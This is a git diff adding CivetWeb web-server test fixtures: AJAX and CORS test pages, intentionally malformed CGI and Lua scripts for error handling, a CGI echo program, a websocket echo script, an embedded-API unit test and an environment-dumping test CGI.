d=c.toLowerCase();f.fn["inner"+c]=function(){var a=this[0];return a?a.style?parseFloat(f.css(a,d,"padding")):this[d]():null},f.fn["outer"+c]=function(a){var b=this[0];return b?b.style?parseFloat(f.css(b,d,a?"margin":"border")):this[d]():null},f.fn[d]=function(a){var e=this[0];if(!e)return a==null?null:this;if(f.isFunction(a))return this.each(function(b){var c=f(this);c[d](a.call(this,b,c[d]()))});if(f.isWindow(e)){var g=e.document.documentElement["client"+c],h=e.document.body;return e.document.compatMode==="CSS1Compat"&&g||h&&h["client"+c]||g}if(e.nodeType===9)return Math.max(e.documentElement["client"+c],e.body["scroll"+c],e.documentElement["scroll"+c],e.body["offset"+c],e.documentElement["offset"+c]);if(a===b){var i=f.css(e,d),j=parseFloat(i);return f.isNumeric(j)?j:i}return this.css(d,typeof a=="string"?a:a+"px")}}),a.jQuery=a.$=f,typeof define=="function"&&define.amd&&define.amd.jQuery&&define("jquery",[],function(){return f})})(window);
\ No newline at end of file diff --git a/src/civetweb/test/ajax/test.html b/src/civetweb/test/ajax/test.html new file mode 100644 index 000000000..40fa07997 --- /dev/null +++ b/src/civetweb/test/ajax/test.html @@ -0,0 +1,168 @@ +<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
+<html>
+ <head>
+ <title>Test</title>
+ <script type='text/javascript' language="javascript" src='jquery.js'></script>
+ <script type='text/javascript' language="javascript">
+ <!--
+
+ function mbox() {
+ alert('Javascript OK');
+ }
+
+
+ var totalCount = 10;
+ var pendingCount = 0;
+ var errorCount = 0;
+ var pushCount = 0;
+ var allErrorCount = 0;
+ var autoTest = false;
+ var testType = "cgi";
+
+ function NextTestType() {
+ if (testType == "cgi") testType = "lp";
+ else if (testType == "lp") testType = "lua";
+ else testType = "cgi";
+ }
+
+ function runTest(method, isAsync) {
+
+ ++pushCount;
+ document.getElementById('start').innerHTML = 'Test: ' + pushCount;
+ document.getElementById('resTotal').innerHTML = 'running';
+
+ for (var i = 1; i <= totalCount; ++i) {
+ document.getElementById('res'+i).innerHTML = "ready";
+ }
+
+ errorCount = 0;
+ pendingCount = totalCount;
+
+ for (var i = 1; i <= totalCount; ++i) {
+
+ fetch(i, method, isAsync);
+ }
+ }
+
+ function runAutoTest() {
+ if (autoTest) {
+ runTest("POST", true)
+ setTimeout("runAutoTest()", 250)
+ }
+ }
+
+
+ function fetch(id, method, isAsync) {
+
+ document.getElementById('res'+id).innerHTML = "pending";
+
+ $.ajax({
+ async: isAsync,
+ url: 'echo.' + testType + '?id=' + id,
+ type: method,
+ timeout: 2000,
+ data: { 'id' : id ,
+ 'longText1' : "adfsdfasdklkjlgasfdfjkhq345sdafbmkanq3trsdghkjqw4etrjlkabsdfkabvauiregtlkjasdbvabl4btrjawebbfjsdhbjk342r5bjksdbfkljbhasdfbhj234qjhasdg76k11234jhv900adfasddsfmzasdfhjgajsvhgkjhasdf77aefcae4fkjzasdfgukeaf7dkkegasdfigjcvxgui",
+ 'longText2' : "bsdfsdfasdklkjlgasdfjkhq345sdafbmkanq3trsdghkjqw4etrjlkabsdfkabvauiregtlkjasdbvabl4btrjawebbfjsdhbjk342r5bjksdbfkljbhasdfbhj234qjhasdg76k11234jhv900adfasddsfmzasdfhjgajsvhgkjhasdf77aefcae4fkjzasdfgukeaf7dkkegasdfigjcvxgui",
+ 'longText3' : "sdfsadagsdklkjlgasdfjkhq345sdafbmkanq3trsdghkjqw4etrjlkabsdfkabvauiregtlkjasdbvabl4btrjawebbfjsdhbjk342r5bjksdbfkljbhasdfbhj234qjhasdg76k11234jhv900adfasddsfmzasdfhjgajsvhgkjhasdf77aefcae4fkjzasdfgukeaf7dkkegasdfigjcvxgui",
+ 'longText4' : "q34sdfas3fhbkjlgasdfjkhq345sdafbmkanq3trsdghkjqw4etrjlkabsdfkabvauiregtlkjasdbvabl4btrjawebbfjsdhbjk342r5bjksdbfkljbhasdfbhj234qjhasdg76k11234jhv900adfasddsfmzasdfhjgajsvhgkjhasdf77aefcae4fkjzasdfgukeaf7dkkegasdfigjcvxgui",
+ 'longText5' : "askj2kjcvxychklgasdfjkhq345sdafbmkanq3trsdghkjqw4etrjlkabsdfkabvauiregtlkjasdbvabl4btrjawebbfjsdhbjk342r5bjksdbfkljbhasdfbhj234qjhasdg76k11234jhv900adfasddsfmzasdfhjgajsvhgkjhasdf77aefcae4fkjzasdfgukeaf7dkkegasdfigjcvxgui",
+ 'longText6' : "asdfjklhlkjhv8öajsdfjkhq345sdafbmkanq3trsdghkjqw4etrjlkabsdfkabvauiregtlkjasdbvabl4btrjawebbfjsdhbjk342r5bjksdbfkljbhasdfbhj234qjhasdg76k11234jhv900adfasddsfmzasdfhjgajsvhgkjhasdf77aefcae4fkjzasdfgukeaf7dkkegasdfigjcvxgui",
+ 'async' : isAsync
+ },
+ dataType: 'json',
+ succes: function(data) {
+ },
+ error: function() {
+ ++errorCount;
+ },
+ complete: function(jqXHR, textStatus) {
+
+ --pendingCount;
+
+ document.getElementById('res'+id).innerHTML = textStatus;
+ console.log('id: ' + id + ' (' + pendingCount + '/' + totalCount + '), status: ' + textStatus);
+
+ if (pendingCount == 0) {
+ document.getElementById('resTotal').innerHTML = 'done';
+ console.log('complete, error count: ' + errorCount);
+ allErrorCount = allErrorCount + errorCount;
+ document.getElementById('resSAll').innerHTML = 'total errors: ' + allErrorCount + "/" + (pushCount*totalCount);
+ }
+ }
+ });
+
+ }
+
+
+ //-->
+ </script>
+
+ </head>
+ <body>
+ <p>
+ <div id="start">Test not started.</div>
+ </p>
+ <p>
+ <table>
+ <tr>
+ <td>
+ <input id="testButton1" type="button" onclick="javascript:runTest('GET', false)" value="sync GET"></input>
+ </td>
+ <td>
+ <input id="testButton2" type="button" onclick="javascript:runTest('POST', false)" value="sync POST"></input>
+ </td>
+ </tr>
+ <tr>
+ <td>
+ <input id="testButton3" type="button" onclick="javascript:runTest('GET', true)" value="async GET"></input>
+ </td>
+ <td>
+ <input id="testButton4" type="button" onclick="javascript:runTest('POST', true)" value="async POST"></input>
+ </td>
+ </tr>
+ <tr>
+ <td>
+ <input id="testButton5" type="button" onclick="autoTest=!autoTest; javascript:runAutoTest()" value="automatic test"></input>
+ </td>
+ <td>
+ <input id="testButton6" type="button" onclick="NextTestType(); this.value=testType" value='cgi'></input>
+ </td>
+ </tr>
+
+ <tr>
+ <td>
+ <input id="testButtonReset" type="button" onclick="autoTest=false; javascript:location.reload(true)" value="reset"></input>
+ </td>
+ <td>
+ <input id="testButtonBack" type="button" onclick="history.back()" value="back"></input>
+ </td>
+ </tr>
+ <tr>
+ <td>
+ <input id="testButtonBox" type="button" onclick="javascript:mbox()" value="MsgBox"></input>
+ </td>
+ <td>
+ </td>
+ </tr>
+ </table>
+ </p>
+ <p>
+ <table border="1">
+ <tr><th>Test</th><th>Result</th></tr>
+ <tr><td>1</td><td><div id="res1">not started</div></td></tr>
+ <tr><td>2</td><td><div id="res2">not started</div></td></tr>
+ <tr><td>3</td><td><div id="res3">not started</div></td></tr>
+ <tr><td>4</td><td><div id="res4">not started</div></td></tr>
+ <tr><td>5</td><td><div id="res5">not started</div></td></tr>
+ <tr><td>6</td><td><div id="res6">not started</div></td></tr>
+ <tr><td>7</td><td><div id="res7">not started</div></td></tr>
+ <tr><td>8</td><td><div id="res8">not started</div></td></tr>
+ <tr><td>9</td><td><div id="res9">not started</div></td></tr>
+ <tr><td>10</td><td><div id="res10">not started</div></td></tr>
+ </table>
+ <div id="resTotal">Push [Test] to start.</div>
+ <div id="resSAll"></div>
+ </p>
+ </body>
+</html>
diff --git a/src/civetweb/test/all_build_flags.pl b/src/civetweb/test/all_build_flags.pl new file mode 100755 index 000000000..ee225f9a2 --- /dev/null +++ b/src/civetweb/test/all_build_flags.pl @@ -0,0 +1,28 @@ +#!/usr/bin/env perl + +@flags = ("NO_POPEN", "NO_SSL", "NDEBUG", "DEBUG", "NO_CGI"); +my $num_flags = @flags; + +sub fail { + print "FAILED: @_\n"; + exit 1; +} + +my $platform = $ARGV[0] || "linux"; + +for (my $i = 0; $i < 2 ** $num_flags; $i++) { + my $bitmask = sprintf("%*.*b", $num_flags, $num_flags, $i); + my @combination = (); + for (my $j = 0; $j < $num_flags; $j++) { + push @combination, $flags[$j] if substr($bitmask, $j, 1); + } + my $defines = join(" ", map { "-D$_" } @combination); + my $cmd = "CFLAGS=\"$defines\" make clean $platform >/dev/null"; + system($cmd) == 0 or fail "build failed: $_"; + print "Build succeeded, flags: [$defines]\n"; + system("perl test/test.pl basic_tests >/dev/null") == 0 + or fail "basic tests"; + print "Basic tests: OK\n"; +} + +print "PASS: All builds passed!\n"; diff --git a/src/civetweb/test/bad.cgi b/src/civetweb/test/bad.cgi new file mode 100755 index 000000000..1560f82d3 --- /dev/null +++ b/src/civetweb/test/bad.cgi @@ -0,0 +1,6 @@ +#!/bin/sh + +echo "echoing bad headers: server must report status 500" +exec 1>&2 +echo "Bad CGI script (for test)" + diff --git a/src/civetweb/test/bad2.cgi b/src/civetweb/test/bad2.cgi new file mode 100755 index 000000000..efa4b548b --- /dev/null +++ b/src/civetweb/test/bad2.cgi @@ -0,0 +1,3 @@ +#!/usr/bin/env perl + +print "Status: 123 Please pass me to the client\r\n\r\n"; diff --git a/src/civetweb/test/bad_page.lp b/src/civetweb/test/bad_page.lp new file mode 100644 index 000000000..84caacca7 --- /dev/null +++ b/src/civetweb/test/bad_page.lp @@ -0,0 +1 @@ +test <? bad_script ?> test
diff --git a/src/civetweb/test/bad_script.lua b/src/civetweb/test/bad_script.lua new file mode 100644 index 000000000..6140617f4 --- /dev/null +++ b/src/civetweb/test/bad_script.lua @@ -0,0 +1 @@ +bad_script
diff --git a/src/civetweb/test/cgi_test.c b/src/civetweb/test/cgi_test.c new file mode 100644 index 000000000..bd446c0a9 --- /dev/null +++ b/src/civetweb/test/cgi_test.c @@ -0,0 +1,40 @@ +#include <stdio.h> +#include <string.h> +#include <stdlib.h> + +#if defined(_WIN32) || defined(WIN32) || defined(WINDOWS) +#include <fcntl.h> +#include <io.h> +#endif + +int +main(int argc, char *argv[]) +{ + char buf[1024]; + size_t rec_len = 0; + const char *response_header = "Content-Type: text/plain\r\n" + "Connection: close\r\n" + "\r\n"; + const char *req_method = getenv("REQUEST_METHOD"); + const char *con_length = getenv("CONTENT_LENGTH"); + +#if defined(_WIN32) || defined(WIN32) || defined(WINDOWS) + _setmode(_fileno(stdin), _O_BINARY); + _setmode(_fileno(stdout), _O_BINARY); +#endif + + /* Write the response header with \r\n */ + fwrite(response_header, 1, strlen(response_header), stdout); + + /* Headline for generated reply: */ + printf("Got message:\n Method: %s\n Content-Length: %s\n Content: ", + req_method, + con_length ? con_length : "not set"); + + /* Read all data from stdin and send it to stdout */ + while ((rec_len = fread(buf, 1, sizeof(buf) - 1, stdin)) > 0) { + fwrite(buf, 1, rec_len, stdout); + } + + return 0; +} diff --git a/src/civetweb/test/cgi_test.html b/src/civetweb/test/cgi_test.html new file mode 100644 index 000000000..28ad72b0f --- /dev/null +++ b/src/civetweb/test/cgi_test.html @@ -0,0 +1,12 @@ +<html> + <head> + <title>CGI POST Test</title> + </head> + <body> + <h1>CGI POST Test</h1> + <form action="cgi_test.cgi" method="post"> + <input type="text" name="test" /> + <input type="submit" /> + </form> + </body> +</html> diff --git a/src/civetweb/test/civetweb_check.h b/src/civetweb/test/civetweb_check.h new file mode 100644 index 000000000..4701f2252 --- /dev/null +++ b/src/civetweb/test/civetweb_check.h @@ -0,0 +1,96 @@ +/* Copyright (c) 2015-2017 the Civetweb developers + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ +#ifndef TEST_CIVETWEB_CHECK_H_ +#define TEST_CIVETWEB_CHECK_H_ + +#ifdef __clang__ +#pragma clang diagnostic push +// FIXME: check uses GCC specific variadic macros that are non-standard +#pragma clang diagnostic ignored "-Wgnu-zero-variadic-macro-arguments" +#endif + +#if defined(__MINGW__) || defined(__GNUC__) +#pragma GCC diagnostic push +#pragma GCC diagnostic ignored "-Wall" +/* Disable warnings for defining _CRT_SECURE_NO_* (here) and + * _CHECK_CHECK_STDINT_H (in check.h) + */ +/* Disable until Warning returns to Travis CI or AppVeyor +#pragma GCC diagnostic ignored "-Wunknown-pragmas" +#pragma GCC diagnostic ignored "-Wno-variadic-macros" +#pragma GCC diagnostic ignored "-Wreserved-id-macro" +*/ +#endif + +#ifdef _MSC_VER +#undef pid_t +#define pid_t int +/* Unreferenced formal parameter. START_TEST has _i */ +#pragma warning(disable : 4100) +/* conditional expression is constant . asserts use while(0) */ +#pragma warning(disable : 4127) +#endif +#include <stdint.h> + +/* All unit tests use the "check" framework. + * Download from https://libcheck.github.io/check/ + */ +#include "check.h" + +#if (CHECK_MINOR_VERSION < 11) +#ifndef LOCAL_TEST +#error "CivetWeb unit tests require at least check 0.11.0" +#endif +#endif + +#ifdef __clang__ +#pragma clang diagnostic pop +#endif + +#if !defined(_CRT_SECURE_NO_WARNINGS) +#define _CRT_SECURE_NO_WARNINGS +#endif +#if !defined(_CRT_SECURE_NO_DEPRECATE) +#define _CRT_SECURE_NO_DEPRECATE +#endif + +#if defined(__MINGW__) || defined(__GNUC__) +#pragma GCC diagnostic pop +#endif + +#ifdef __clang__ +/* When using -Weverything, clang does not accept it's own headers + * in a release build configuration. Disable what is too much in + * -Weverything. */ +#pragma clang diagnostic ignored "-Wdisabled-macro-expansion" +#endif + +/* A minimal timeout used for all tests with the "check" framework. */ +#define civetweb_min_test_timeout (30) + +/* A minimal timeout for all tests starting a server. */ +#define civetweb_min_server_test_timeout (civetweb_min_test_timeout + 30) + +/* A default timeout for all tests running multiple requests to a server. */ +#define civetweb_mid_server_test_timeout \ + (civetweb_min_server_test_timeout + 180) + +#endif /* TEST_CIVETWEB_CHECK_H_ */ diff --git a/src/civetweb/test/cors.html b/src/civetweb/test/cors.html new file mode 100644 index 000000000..10fb99ac9 --- /dev/null +++ b/src/civetweb/test/cors.html @@ -0,0 +1,75 @@ +<!DOCTYPE html>
+<html>
+<head>
+<title>CORS test</title>
+<style>
+ html,body{font:normal 1em arial,helvetica;}
+</style>
+
+<script> // http://www.html5rocks.com/en/tutorials/cors/
+
+// Create the XHR object.
+function createCORSRequest(method, url) {
+ var xhr = new XMLHttpRequest();
+ if ("withCredentials" in xhr) {
+ // XHR for Chrome/Firefox/Opera/Safari.
+ xhr.open(method, url, true);
+ } else if (typeof XDomainRequest != "undefined") {
+ // XDomainRequest for IE.
+ xhr = new XDomainRequest();
+ xhr.open(method, url);
+ } else {
+ // CORS not supported.
+ xhr = null;
+ }
+ return xhr;
+}
+
+// Helper method to parse the title tag from the response.
+function getTitle(text) {
+ return text.match('<title>(.*)?</title>')[1];
+}
+
+// Make the actual CORS request.
+function makeCorsRequest(method, resource) {
+ var url = "http://localhost:8080/cors.reply." + resource;
+ var xhr = createCORSRequest(method, url);
+ if (!xhr) {
+ alert('ERROR: CORS not supported');
+ return;
+ }
+
+ // Response handlers.
+ xhr.onload = function() {
+ var text = xhr.responseText;
+ var title = getTitle(text);
+ alert('Response from CORS request to ' + url + ':\n' + title);
+ };
+
+ xhr.onerror = function() {
+ alert('ERROR: the request failed.');
+ };
+
+ xhr.send();
+}
+
+function start() {
+ var el = document.getElementById("from");
+ el.innerHTML = "Test CORS from " + document.URL + " to http://localhost:8080/cors.reply.*";
+ if ((document.URL.indexOf("localhost") >= 0) || (document.URL.indexOf("127.0.0.1") >= 0)) {
+ alert("This CORS test is only meaningful, if you open this site with a different url than \'localhost\' (127.0.0.1).\nYou may use a different IP of the same machine.");
+ }
+}
+</script>
+
+</head>
+<body onload="start()">
+ <h1>Cross-origin resource sharing test</h1>
+ <p id="from">*** Error: Javascript is not activated. This test will not work. ***</p>
+ <button onclick="makeCorsRequest('GET', 'html')">Run CORS GET request (static resource)</button>
+ <button onclick="makeCorsRequest('GET', 'shtml')">Run CORS GET request (ssi)</button>
+ <button onclick="makeCorsRequest('GET', 'lua/getit')">Run CORS GET request (dynamic resource)</button>
+ <button onclick="makeCorsRequest('PUT', 'lua/putit')">Run CORS PUT request (dynamic resource)</button>
+ <p>More information on CORS: See <a href="http://enable-cors.org/">enable-cors.org</a> and <a href="http://www.html5rocks.com/en/tutorials/cors/">html5rocks.com</a>.</p>
+</body>
+</html>
diff --git a/src/civetweb/test/cors.reply.html b/src/civetweb/test/cors.reply.html new file mode 100644 index 000000000..26d88dfc5 --- /dev/null +++ b/src/civetweb/test/cors.reply.html @@ -0,0 +1,7 @@ +<!DOCTYPE html>
+<html>
+<head><title>CORS test reply - test OK</title></head>
+<body>
+Do not load this page directly - use cors.html instead!
+</body>
+</html>
diff --git a/src/civetweb/test/cors.reply.lua b/src/civetweb/test/cors.reply.lua new file mode 100644 index 000000000..57b972764 --- /dev/null +++ b/src/civetweb/test/cors.reply.lua @@ -0,0 +1,86 @@ +-- http://www.html5rocks.com/static/images/cors_server_flowchart.png
+
+if not mg.request_info.http_headers.Origin and not mg.request_info.http_headers.origin then
+
+ mg.write("HTTP/1.0 200 OK\r\n")
+ mg.write("Connection: close\r\n")
+ mg.write("Content-Type: text/html; charset=utf-8\r\n")
+ mg.write("\r\n")
+ mg.write("This test page should not be used directly. Open cors.html instead.")
+ return
+end
+
+if mg.request_info.request_method == "OPTIONS" then
+
+ -- Note: This is a test example showing how a script could handle
+ -- a preflight request directly. However, now the server is able
+ -- to handle preflight requests, so scripts do no longer need to
+ -- do this - except it has been disabled in the server by setting
+ -- the access_control_allow_methods configuration parameter to
+ -- an empty string.
+
+ local acrm = mg.request_info.http_headers['Access-Control-Request-Method'];
+ if (acrm) then
+ local acrh = nil -- mg.request_info.http_headers['Access-Control-Request-Header'];
+ if (acrm~='PUT') then
+ -- invalid request
+ mg.write("HTTP/1.0 403 Forbidden\r\n")
+ mg.write("Connection: close\r\n")
+ mg.write("\r\n")
+ return
+ else
+ -- preflight request
+ mg.write("HTTP/1.0 200 OK\r\n")
+ mg.write("Access-Control-Allow-Methods: PUT\r\n")
+ if (acrh) then
+ mg.write("Access-Control-Allow-Headers: " .. acrh .. "\r\n")
+ end
+ mg.write("Access-Control-Allow-Origin: *\r\n")
+ mg.write("Connection: close\r\n")
+ mg.write("Content-Type: text/html; charset=utf-8\r\n")
+ mg.write("\r\n")
+ return
+ end
+ end
+end
+
+
+-- actual request
+if mg.request_info.request_method == "GET" then
+
+ mg.write("HTTP/1.0 200 OK\r\n")
+ mg.write("Access-Control-Allow-Origin: *\r\n")
+ mg.write("Connection: close\r\n")
+ mg.write("Content-Type: text/html; charset=utf-8\r\n")
+ mg.write("\r\n")
+ mg.write([[<!DOCTYPE html>
+ <html>
+ <head><title>CORS dynamic GET test reply - test OK</title></head>
+ <body>This should never be shown</body>
+ </html>
+ ]])
+ return
+end
+
+
+if mg.request_info.request_method == "PUT" then
+
+ mg.write("HTTP/1.0 200 OK\r\n")
+ mg.write("Access-Control-Allow-Origin: *\r\n")
+ mg.write("Connection: close\r\n")
+ mg.write("Content-Type: text/html; charset=utf-8\r\n")
+ mg.write("\r\n")
+ mg.write([[<!DOCTYPE html>
+ <html>
+ <head><title>CORS dynamic PUT test reply - test OK</title></head>
+ <body>This should never be shown</body>
+ </html>
+ ]])
+ return
+end
+
+-- other HTTP method
+mg.write("HTTP/1.0 403 Forbidden\r\n")
+mg.write("Connection: close\r\n")
+mg.write("\r\n")
+
diff --git a/src/civetweb/test/cors.reply.shtml b/src/civetweb/test/cors.reply.shtml new file mode 100644 index 000000000..26d88dfc5 --- /dev/null +++ b/src/civetweb/test/cors.reply.shtml @@ -0,0 +1,7 @@ +<!DOCTYPE html>
+<html>
+<head><title>CORS test reply - test OK</title></head>
+<body>
+Do not load this page directly - use cors.html instead!
+</body>
+</html>
diff --git a/src/civetweb/test/delayed.cgi b/src/civetweb/test/delayed.cgi new file mode 100644 index 000000000..ccf7768c4 --- /dev/null +++ b/src/civetweb/test/delayed.cgi @@ -0,0 +1,20 @@ +#!/bin/sh + +sleep 2 + +echo "Content-Type: text/plain" + +sleep 2 + +echo + +sleep 2 + +echo "Query string:" + +sleep 2 + +echo $QUERY_STRING + +sleep 2 + diff --git a/src/civetweb/test/dir with spaces/hello.cgi b/src/civetweb/test/dir with spaces/hello.cgi new file mode 100755 index 000000000..39decbeb1 --- /dev/null +++ b/src/civetweb/test/dir with spaces/hello.cgi @@ -0,0 +1,3 @@ +#!/usr/bin/env perl + +print "Content-Type: text/plain\n\nhello\n"; diff --git a/src/civetweb/test/echo.lua b/src/civetweb/test/echo.lua new file mode 100644 index 000000000..bc715530f --- /dev/null +++ b/src/civetweb/test/echo.lua @@ -0,0 +1,41 @@ + +if mg.lua_type ~= "websocket" then + mg.write("HTTP/1.0 403 Forbidden\r\n") + mg.write("Connection: close\r\n") + mg.write("\r\n") + mg.write("forbidden") + return +end + + +-- table of all active connection +allConnections = {} + +-- function to get a client identification string +function who(tab) + local ri = allConnections[tab.client].request_info + return ri.remote_addr .. ":" .. ri.remote_port +end + +-- Callback to accept or reject a connection +function open(tab) + allConnections[tab.client] = tab + return true -- return true to accept the connection +end + +-- Callback for "Websocket ready" +function ready(tab) + return true -- return true to keep the connection open +end + +-- Callback for "Websocket received data" +function data(tab) + mg.write(1, tab.data); + return true -- return true to keep the connection open +end + +-- Callback for "Websocket is closing" +function close(tab) + allConnections[tab.client] = nil +end + diff --git a/src/civetweb/test/embed.c b/src/civetweb/test/embed.c new file mode 100644 index 000000000..174e17cfa --- /dev/null +++ b/src/civetweb/test/embed.c @@ -0,0 +1,182 @@ +// Copyright (c) 2004-2009 Sergey Lyubka +// +// Permission is hereby granted, free of charge, to any person obtaining a copy +// of this software and associated documentation files (the "Software"), to deal +// in the Software without restriction, including without limitation the rights +// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +// copies of the Software, and to permit persons to whom the Software is +// furnished to do so, subject to the following conditions: +// +// The above copyright notice and this permission notice shall be included in +// all copies or substantial portions of the Software. +// +// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +// THE SOFTWARE. +// +// Unit test for the civetweb web server. Tests embedded API. + + +#include <stdlib.h> +#include <stdio.h> +#include <string.h> +#ifndef _WIN32 +#include <unistd.h> +#endif + +#include "civetweb.h" + +#if !defined(LISTENING_PORT) +#define LISTENING_PORT "23456" +#endif + +static const char *standard_reply = "HTTP/1.1 200 OK\r\n" + "Content-Type: text/plain\r\n" + "Connection: close\r\n\r\n"; + +static void test_get_var(struct mg_connection *conn, + const struct mg_request_info *ri) { + char *var, *buf; + size_t buf_len; + const char *cl; + int var_len; + + mg_printf(conn, "%s", standard_reply); + + buf_len = 0; + var = buf = NULL; + cl = mg_get_header(conn, "Content-Length"); + mg_printf(conn, "cl: %p\n", cl); + if ((!strcmp(ri->request_method, "POST") || + !strcmp(ri->request_method, "PUT")) + && cl != NULL) { + buf_len = atoi(cl); + buf = malloc(buf_len); + /* Read in two pieces, to test continuation */ + if (buf_len > 2) { + mg_read(conn, buf, 2); + mg_read(conn, buf + 2, buf_len - 2); + } else { + mg_read(conn, buf, buf_len); + } + } else if (ri->query_string != NULL) { + buf_len = strlen(ri->query_string); + buf = malloc(buf_len + 1); + strcpy(buf, ri->query_string); + } + var = malloc(buf_len + 1); + var_len = mg_get_var(buf, buf_len, "my_var", var, buf_len + 1); + mg_printf(conn, "Value: [%s]\n", var); + mg_printf(conn, "Value size: [%d]\n", var_len); + free(buf); + free(var); +} + +static void test_get_header(struct mg_connection *conn, + const struct mg_request_info *ri) { + const char *value; + int i; + + mg_printf(conn, "%s", standard_reply); + printf("HTTP headers: %d\n", ri->num_headers); + for (i = 0; i < ri->num_headers; i++) { + printf("[%s]: [%s]\n", ri->http_headers[i].name, ri->http_headers[i].value); + } + + value = mg_get_header(conn, "Host"); + if (value != NULL) { + mg_printf(conn, "Value: [%s]", value); + } +} + +static void test_get_request_info(struct mg_connection *conn, + const struct mg_request_info *ri) { + int i; + + mg_printf(conn, "%s", standard_reply); + + mg_printf(conn, "Method: [%s]\n", ri->request_method); + mg_printf(conn, "URI: [%s]\n", ri->uri); + mg_printf(conn, "HTTP version: [%s]\n", ri->http_version); + + for (i = 0; i < ri->num_headers; i++) { + mg_printf(conn, "HTTP header [%s]: [%s]\n", + ri->http_headers[i].name, + ri->http_headers[i].value); + } + + mg_printf(conn, "Query string: [%s]\n", + ri->query_string ? ri->query_string: ""); + mg_printf(conn, "Remote IP: [%lu]\n", ri->remote_ip); + mg_printf(conn, "Remote port: [%d]\n", ri->remote_port); + mg_printf(conn, "Remote user: [%s]\n", + ri->remote_user ? ri->remote_user : ""); +} + +static void test_error(struct mg_connection *conn, + const struct mg_request_info *ri) { + int status = (int) ri->ev_data; + mg_printf(conn, "HTTP/1.1 %d XX\r\n" + "Conntection: close\r\n\r\n", status); + mg_printf(conn, "Error: [%d]", status); +} + +static void test_post(struct mg_connection *conn, + const struct mg_request_info *ri) { + const char *cl; + char *buf; + int len; + + mg_printf(conn, "%s", standard_reply); + if (strcmp(ri->request_method, "POST") == 0 && + (cl = mg_get_header(conn, "Content-Length")) != NULL) { + len = atoi(cl); + if ((buf = malloc(len)) != NULL) { + mg_write(conn, buf, len); + free(buf); + } + } +} + +static const struct test_config { + enum mg_event event; + const char *uri; + void (*func)(struct mg_connection *, const struct mg_request_info *); +} test_config[] = { + {MG_NEW_REQUEST, "/test_get_header", &test_get_header}, + {MG_NEW_REQUEST, "/test_get_var", &test_get_var}, + {MG_NEW_REQUEST, "/test_get_request_info", &test_get_request_info}, + {MG_NEW_REQUEST, "/test_post", &test_post}, + {MG_HTTP_ERROR, "", &test_error}, + {0, NULL, NULL} +}; + +static void *callback(enum mg_event event, + struct mg_connection *conn) { + const struct mg_request_info *request_info = mg_get_request_info(conn); + int i; + + for (i = 0; test_config[i].uri != NULL; i++) { + if (event == test_config[i].event && + (event == MG_HTTP_ERROR || + !strcmp(request_info->uri, test_config[i].uri))) { + test_config[i].func(conn, request_info); + return "processed"; + } + } + + return NULL; +} + +int main(void) { + struct mg_context *ctx; + const char *options[] = {"listening_ports", LISTENING_PORT, NULL}; + + ctx = mg_start(callback, NULL, options); + pause(); + return 0; +} diff --git a/src/civetweb/test/env.cgi b/src/civetweb/test/env.cgi new file mode 100755 index 000000000..479e1fd38 --- /dev/null +++ b/src/civetweb/test/env.cgi @@ -0,0 +1,46 @@ +#!/usr/bin/env perl + +use Cwd; +use CGI; + +use vars '%in'; +CGI::ReadParse(); + +print "Content-Type: text/html\r\n\r\n"; + +print "<pre>\n"; +foreach my $key (sort keys %ENV) { + print "$key=$ENV{$key}\n"; +} + +print "\n"; + +foreach my $key (sort keys %in) { + print "$key=$in{$key}\n"; +} + +print "\n"; + +print 'CURRENT_DIR=' . getcwd() . "\n"; +print "</pre>\n"; + +my $stuff = <<EOP ; +<script language="javascript"> + function set_val() { + } +</script> +<form method=get> + <input type=hidden name=a> + <input type=text name=_a onChange="javascript: this.form.a.value=this.value;"> + <input type=submit value=get> +</form> + +<form method=post> + <input type=text name=b> + <input type=submit value=post> +</form> +EOP + +#system('some shit'); + +print $stuff; diff --git a/src/civetweb/test/error.lua b/src/civetweb/test/error.lua new file mode 100644 index 000000000..b78d4ac9f --- /dev/null +++ b/src/civetweb/test/error.lua @@ -0,0 +1,12 @@ +mg.write("HTTP/1.0 200 OK\r\n")
+mg.write("Content-Type: text/html\r\n")
+mg.write("\r\n")
+mg.write([[<html><body>
+ <p>Lua error handler:</p>
+ <p>Status code: ]])
+
+mg.write(tostring(mg.request_info.status))
+
+mg.write([[</p>
+</body></html>
+]])
\ No newline at end of file diff --git a/src/civetweb/test/error404.htm b/src/civetweb/test/error404.htm new file mode 100644 index 000000000..357db2cef --- /dev/null +++ b/src/civetweb/test/error404.htm @@ -0,0 +1,10 @@ +<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Frameset//EN"
+ "http://www.w3.org/TR/html4/frameset.dtd">
+<HTML>
+<HEAD>
+<TITLE>Error</TITLE>
+</HEAD>
+<BODY>
+Custom error page
+</BODY>
+</HTML>
